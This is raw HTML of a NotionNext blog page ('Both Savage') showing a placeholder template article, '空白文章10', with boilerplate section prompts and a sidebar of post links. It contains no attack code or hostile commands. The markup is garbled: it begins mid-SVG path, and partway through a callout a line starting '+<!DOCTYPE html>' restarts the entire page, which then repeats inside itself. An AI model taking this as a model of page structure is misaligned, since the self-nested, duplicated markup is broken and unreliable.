9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-c4ae275706af414aa57eb220235fe4f8"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
+<!DOCTYPE html><html lang="zh-CN"><head><title>空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Python,健康"/><meta name="description" content="仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范"/><meta property="og:url" content="https://bothsavage.github.io//article/example-10"/><meta property="og:image" content="https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范"/><meta name="twitter:title" content="空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-95ddf5c1569e4c61a1e86507fe59fc97"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-c4ae275706af414aa57eb220235fe4f8"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。<div class="notion-text notion-block-0e0a78c55bce4d669749760aba8bf0e2">可以说说你的故事:阻碍、努力、结果成果,意外与转折。</div></div></div><div class="notion-blank notion-block-51246bd88b544aed88906ff7f9754758"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-e47b90fd4cef4aa78253733c2fb825c6" data-id="e47b90fd4cef4aa78253733c2fb825c6"><span><div id="e47b90fd4cef4aa78253733c2fb825c6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e47b90fd4cef4aa78253733c2fb825c6" title="📝 主旨内容"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📝 主旨内容</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-51e5efa153164f26a034a63d627d119a" data-id="51e5efa153164f26a034a63d627d119a"><span><div id="51e5efa153164f26a034a63d627d119a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#51e5efa153164f26a034a63d627d119a" title="观点1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点1</span></span></h3><blockquote class="notion-quote notion-block-1a99baa7cd614f67a8dba8b44045a3a3"><div>引用的话语</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-68a4a54459864d0e838e5d896c28d491" data-id="68a4a54459864d0e838e5d896c28d491"><span><div id="68a4a54459864d0e838e5d896c28d491" class="notion-header-anchor"></div><a class="notion-hash-link" href="#68a4a54459864d0e838e5d896c28d491" title="观点2"><svg viewBox="0 0 16 16" width="16" height="16"><path 